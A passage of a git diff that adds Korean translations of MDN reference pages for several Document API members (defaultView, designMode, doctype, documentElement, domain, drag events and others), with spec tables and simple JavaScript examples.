+ <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.createTreeWalker")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>생성하는 객체의 인터페이스: {{domxref("TreeWalker")}}.</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ie/ff975302(v=vs.85).aspx">createTreeWalker on MSDN</a></li>
+</ul>
diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..de6d2c5e25
--- /dev/null
+++ b/files/ko/web/api/document/defaultview/index.html
@@ -0,0 +1,46 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+ - API
+ - Document
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ApiRef}}</div>
+
+<p>브라우저의 <strong><code>document.defaultView</code></strong>는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.defaultView")}}</p>
+</div>
diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..179f9dedee
--- /dev/null
+++ b/files/ko/web/api/document/designmode/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<p><code>document.designMode</code>는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 <code>"on"</code> 과 <code>"off"</code> 입니다. 명세에 따르면, 이 속성은 기본적으로 <code>"off"</code>로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 <code>"inherit"</code> 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.</p>
+
+<pre>iframeNode.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" style="font-size: 2.14285714285714rem;">Browser compatibility</h2>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">designMode property</a> on MSDN</li>
+</ul>
diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..228c3b595d
--- /dev/null
+++ b/files/ko/web/api/document/doctype/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는  {{domxref("DocumentType")}} 인터페이스를 구현합니다. <code>DocumentType을 작성하려면 </code>{{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li>doctype은 읽기만 가능한 property입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+ "doctypeObj.name: " + doctypeObj.name + "\n" +
+ "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" +
+ "doctypeObj.publicId: " + doctypeObj.publicId + "\n" +
+ "doctypeObj.systemId: " + doctypeObj.systemId
+);</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.</p>
+
+<p>DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td>{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+ <td>{{Spec2("DOM2 Core")}}</td>
+ <td>초기 선언.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html
new file mode 100644
index 0000000000..6706d05e0e
--- /dev/null
+++ b/files/ko/web/api/document/document/index.html
@@ -0,0 +1,43 @@
+---
+title: Document()
+slug: Web/API/Document/Document
+tags:
+ - API
+ - Constructor
+ - DOM
+ - Document
+ - Reference
+translation_of: Web/API/Document/Document
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Document</code></strong> 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Document()</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-document-document','Document')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.Document")}}</div>
diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..429fce87c4
--- /dev/null
+++ b/files/ko/web/api/document/documentelement/index.html
@@ -0,0 +1,60 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+ - API
+ - DOM
+ - Document
+ - Property
+ - Reference
+ - ㅈ
+translation_of: Web/API/Document/documentElement
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><code><strong>Document.documentElement</strong></code> 읽기 전용 속성은 <a href="/ko/docs/Web/API/Document">문서</a>의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>element</em> = document.documentElement
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier is a NodeList of the direct children of the root element
+// such as &lt;head&gt; and &lt;body&gt;
+
+for (const child of firstTier) {
+ // do something with each direct child of the root element
+}</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>모든 비어있지 않은 HTML 문서의 <code>documentElement</code>는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 <code>documentElement</code>는 종류불문하고 해당 문서의 루트 요소를 가리킵니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.documentElement")}}</p>
diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..51f8d795c8
--- /dev/null
+++ b/files/ko/web/api/document/documenturi/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+tags:
+ - URL
+ - documentURI
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <code><strong>documentURI</strong></code> 속성은 document location 을 string 으로 반환합니다.</p>
+
+<p>DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>string</var> = document.documentURI;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. <code>URL </code>과는 달리, <code>documentURI</code> 는 모든 타입의 documents 에서 이용 가능합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>DOM3 behavior</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>DOM4 behavior</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>DOM3 behavior</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>DOM4 behavior</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html
new file mode 100644
index 0000000000..35bed661f7
--- /dev/null
+++ b/files/ko/web/api/document/domain/index.html
@@ -0,0 +1,91 @@
+---
+title: Document.domain
+slug: Web/API/Document/domain
+tags:
+ - API
+ - Document
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/Document/domain
+---
+<div>{{ApiRef}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>domain</code></strong> 속성은 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.</p>
+
+<p><code>domain</code> 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <var>domainString</var> = <var>document</var>.domain
+<var>document</var>.domain = <var>domainString</var></pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 문서 출처의 도메인 부분.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>다음 상황에서 <code>domain</code>을 변경하려 시도한 경우.
+ <ul>
+ <li>샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서</li>
+ <li>{{glossary("browsing context", "브라우징 맥락")}}이 없는 문서</li>
+ <li>문서의 <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">유효 도메인</a>이 <code>null</code></li>
+ <li>주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우</li>
+ <li>{{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="도메인_가져오기">도메인 가져오기</h3>
+
+<p><code>http://developer.mozilla.org/en-US/docs/Web</code> 주소에서, 다음 코드는 <code>currentDomain</code> 변수에 "<code>developer.mozilla.org</code>"  문자열을 할당합니다.</p>
+
+<pre class="brush:js">const currentDomain = document.domain;</pre>
+
+<h3 id="창_닫기">창 닫기</h3>
+
+<p>어느 문서, 예컨대 <code>www.example.xxx/good.html</code> 등이 <code>www.example.com</code>의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.</p>
+
+<pre class="brush:js">const badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+ // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음)
+ window.close();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.domain")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a></li>
+</ul>
diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html
new file mode 100644
index 0000000000..cdf5f4222f
--- /dev/null
+++ b/files/ko/web/api/document/drag_event/index.html
@@ -0,0 +1,183 @@
+---
+title: drag
+slug: Web/API/Document/drag_event
+tags:
+ - API
+ - DOM
+ - Document
+ - Drag
+ - DragEvent
+ - Event
+ - Reference
+ - Web
+ - drag and drop
+translation_of: Web/API/Document/drag_event
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p><code>drag</code> 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">이벤트 버블링</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 취소</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">기본 액션</th>
+ <td>드래그 앤 드롭을 계속한다.</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("DragEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 핸들러 속성</th>
+ <td>{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><a href="http://jsfiddle.net/zfnj5rv4/">JSFiddle demo</a>에서 이 코드를 보거나 아래에서 상호작용 하십시오.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="dropzone"&gt;
+ &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+ This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#draggable {
+ width: 200px;
+ height: 20px;
+ text-align: center;
+ background: white;
+}
+
+.dropzone {
+ width: 200px;
+ height: 20px;
+ background: blueviolet;
+ margin-bottom: 10px;
+ padding: 10px;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var dragged;
+
+/* 드래그 가능한 대상에서 이벤트 발생 */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+ // 드래그한 요소에 대한 참조 변수
+ dragged = event.target;
+ // 요소를 반투명하게 함
+ event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+ // 투명도를 리셋
+ event.target.style.opacity = "";
+}, false);
+
+/* 드롭 대상에서 이벤트 발생 */
+document.addEventListener("dragover", function(event) {
+ // 드롭을 허용하도록 prevetDefault() 호출
+ event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+ // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경
+ if (event.target.className == "dropzone") {
+ event.target.style.background = "purple";
+ }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+ // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋
+ if (event.target.className == "dropzone") {
+ event.target.style.background = "";
+ }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+ // 기본 액션을 막음 (링크 열기같은 것들)
+ event.preventDefault();
+ // 드래그한 요소를 드롭 대상으로 이동
+ if (event.target.className == "dropzone") {
+ event.target.style.background = "";
+ dragged.parentNode.removeChild( dragged );
+ event.target.appendChild( dragged );
+ }
+}, false);</pre>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '')}}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하여 pull request를 보내주세요.</div>
+
+<p>{{Compat("api.Document.drag_event")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드롭 이벤트:
+ <ul>
+ <li>{{domxref("Document/dragstart_event", "dragstart")}}</li>
+ <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+ <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+ <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+ <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+ <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+ <li>{{domxref("Document/drop_event", "drop")}}</li>
+ </ul>
+ </li>
+ <li>다른 대상의 <code>drag</code> 이벤트:
+ <ul>
+ <li>{{domxref("Window")}}: {{domxref("Window/drag_event", "drag")}} event</li>
+ <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drag_event", "drag")}} event</li>
+ <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drag_event", "drag")}} event</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html
new file mode 100644
index 0000000000..3849f39274
--- /dev/null
+++ b/files/ko/web/api/document/dragend_event/index.html
@@ -0,0 +1,97 @@
+---
+title: 'Document: dragend event'
+slug: Web/API/Document/dragend_event
+tags:
+ - API
+ - DOM
+ - Document
+ - DragEvent
+ - Event
+ - Reference
+ - Web
+ - drag and drop
+ - dragend
+translation_of: Web/API/Document/dragend_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>dragend</code>는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 <kbd>ESC</kbd> 키를 누른 경우).</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">이벤트 버블링</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 취소</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">기본 액션</th>
+ <td>Varies</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("DragEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 핸들러 속성</th>
+ <td>{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/en-US/docs/Web/API/Document/drag_event">drag</a> 이벤트의 예제 코드나 이 <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>를 참고하세요.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.dragend_event")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드롭 이벤트:
+ <ul>
+ <li>{{domxref("Document/drag_event", "drag")}}</li>
+ <li>{{domxref("Document/dragstart_event", "dragstart")}}</li>
+ <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+ <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+ <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+ <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+ <li>{{domxref("Document/drop_event", "drop")}}</li>
+ </ul>
+ </li>
+ <li>다른 대상의 <code>drag</code> 이벤트:
+ <ul>
+ <li>{{domxref("Window")}}: {{domxref("Window/dragend_event", "dragend")}} event</li>
+ <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragend_event", "dragend")}} event</li>
+ <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragend_event", "dragend")}} event</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html
new file mode 100644
index 0000000000..ab3eb2adf2
--- /dev/null
+++ b/files/ko/web/api/document/dragstart_event/index.html
@@ -0,0 +1,90 @@
+---
+title: dragstart
+slug: Web/API/Document/dragstart_event
+tags:
+ - DOM
+ - Event
+ - Reference
+ - drag and drop
+translation_of: Web/API/Document/dragstart_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>dragstart</code></strong> 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">버블링</th>
+ <td>가능</td>
+ </tr>
+ <tr>
+ <th scope="row">취소</th>
+ <td>가능</td>
+ </tr>
+ <tr>
+ <th scope="row">기본 액션</th>
+ <td>드래그 앤 드랍 작업 초기화.</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("DragEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 처리기 속성</th>
+ <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/Document/drag_event">드래그 이벤트</a>의 예제를 참고하세요.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.dragstart_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드랍 이벤트
+ <ul>
+ <li>{{domxref("Document/drag_event", "drag")}}</li>
+ <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+ <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+ <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+ <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+ <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+ <li>{{domxref("Document/drop_event", "drop")}}</li>
+ </ul>
+ </li>
+ <li>다른 대상의 같은 이벤트
+ <ul>
+ <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} 이벤트</li>
+ <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} 이벤트</li>
+ <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} 이벤트</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..776eccc0e7
--- /dev/null
+++ b/files/ko/web/api/document/embeds/index.html
@@ -0,0 +1,36 @@
+---
+title: Document.embeds
+slug: Web/API/Document/embeds
+tags:
+ - embeds
+translation_of: Web/API/Document/embeds
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">Summary</h3>
+
+<p><code>embeds </code>는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval"><em>nodeList</em> = document.embeds
+</pre>
+
+<h3 id="Specifications" name="Specifications">Specifications</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
